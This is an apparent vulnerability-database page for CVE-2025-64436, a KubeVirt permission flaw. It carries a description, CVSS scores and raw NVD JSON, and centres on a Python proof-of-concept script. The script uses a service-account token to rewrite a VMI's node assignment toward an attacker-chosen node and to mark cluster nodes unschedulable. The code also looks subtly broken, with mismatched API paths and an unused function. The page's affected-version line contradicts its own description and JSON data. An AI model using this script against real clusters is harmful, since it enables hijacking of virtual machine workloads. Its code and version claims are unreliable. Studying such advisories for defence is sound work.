Security Vulnerability Report
中文
CVE-2025-64436 CVSS 5.3 MEDIUM

CVE-2025-64436

Published: 2025-11-07 23:15:46
Last Modified: 2025-11-25 17:17:28

Description

KubeVirt is a virtual machine management add-on for Kubernetes. In 1.5.0 and earlier, the permissions granted to the virt-handler service account, such as the ability to update VMI and patch nodes, could be abused to force a VMI migration to an attacker-controlled node. This vulnerability could otherwise allow an attacker to mark all nodes as unschedulable, potentially forcing the migration or creation of privileged pods onto a compromised node.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:kubevirt:kubevirt:*:*:*:*:*:kubernetes:*:* - VULNERABLE
cpe:2.3:a:kubevirt:kubevirt:*:*:*:*:*:kubernetes:*:* - VULNERABLE
KubeVirt < 1.5.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-64436 PoC - KubeVirt VMI Forced Migration # This PoC demonstrates how excessive permissions on virt-handler service account # can be abused to force VMI migration to an attacker-controlled node import requests import json import argparse from kubernetes import client, config from kubernetes.client.rest import ApiException def force_vmi_migration(api_server, token, namespace, vmi_name, target_node): """ Force VMI migration to attacker-controlled node by updating VMI spec """ headers = { 'Authorization': f'Bearer {token}', 'Content-Type': 'application/json' } # Get current VMI get_url = f"{api_server}/api/v1/namespaces/{namespace}/virtualmachineinstances/{vmi_name}" response = requests.get(get_url, headers=headers, verify=False) if response.status_code != 200: print(f"[-] Failed to get VMI: {response.text}") return False vmi = response.json() # Modify VMI to schedule on target node vmi['spec']['nodeName'] = target_node # Update VMI put_url = f"{api_server}/apis/kubevirt.io/v1/namespaces/{namespace}/virtualmachineinstances/{vmi_name}" response = requests.put(put_url, headers=headers, json=vmi, verify=False) if response.status_code in [200, 201]: print(f"[+] Successfully forced VMI {vmi_name} migration to {target_node}") return True else: print(f"[-] Failed to migrate VMI: {response.text}") return False def mark_nodes_unschedulable(api_server, token, target_nodes): """ Mark nodes as unschedulable to force pod migration """ headers = { 'Authorization': f'Bearer {token}', 'Content-Type': 'application/json-patch+json' } patch_payload = [ {"op": "add", "path": "/spec/unschedulable", "value": True} ] for node in target_nodes: patch_url = f"{api_server}/api/v1/nodes/{node}" response = requests.patch(patch_url, headers=headers, json=patch_payload, verify=False) if response.status_code == 200: print(f"[+] Successfully marked node {node} as unschedulable") else: print(f"[-] Failed to mark node {node}: {response.text}") if __name__ == "__main__": parser = argparse.ArgumentParser(description='CVE-2025-64436 PoC') parser.add_argument('--api-server', required=True, help='Kubernetes API server URL') parser.add_argument('--token', required=True, help='Service account token') parser.add_argument('--namespace', default='kubevirt-vmi', help='VMI namespace') parser.add_argument('--vmi-name', required=True, help='Target VMI name') parser.add_argument('--target-node', required=True, help='Target node for migration') args = parser.parse_args() print("[*] CVE-2025-64436 - KubeVirt virt-handler Permission Abuse") force_vmi_migration(args.api_server, args.token, args.namespace, args.vmi_name, args.target_node)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64436", "sourceIdentifier": "[email protected]", "published": "2025-11-07T23:15:46.003", "lastModified": "2025-11-25T17:17:28.350", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "KubeVirt is a virtual machine management add-on for Kubernetes. In 1.5.0 and earlier, the permissions granted to the virt-handler service account, such as the ability to update VMI and patch nodes, could be abused to force a VMI migration to an attacker-controlled node. This vulnerability could otherwise allow an attacker to mark all nodes as unschedulable, potentially forcing the migration or creation of privileged pods onto a compromised node."}, {"lang": "es", "value": "KubeVirt es un complemento de gestión de máquinas virtuales para Kubernetes. En 1.5.0 y versiones anteriores, los permisos otorgados a la cuenta de servicio virt-handler, como la capacidad de actualizar VMI y parchear nodos, podrían ser explotados para forzar una migración de VMI a un nodo controlado por un atacante. Esta vulnerabilidad podría, de otro modo, permitir a un atacante marcar todos los nodos como no programables, forzando potencialmente la migración o creación de pods privilegiados en un nodo comprometido."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-269"}, {"lang": "en", "value": "CWE-276"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:kubevirt:kubevirt:*:*:*:*:*:kubernetes:*:*", "versionEndIncluding": "1.5.3", "matchCriteriaId": "C617485F-0195-4CEB-8D53-496372BB5E9A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:kubevirt:kubevirt:*:*:*:*:*:kubernetes:*:*", "versionStartIncluding": "1.6.0", "versionEndIncluding": "1.6.1", "matchCriteriaId": "95B8CDE6-4474-4907-8866-C78217F56897"}]}]}], "references": [{"url": "https://github.com/kubevirt/kubevirt/security/advisories/GHSA-7xgm-5prm-v5gc", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}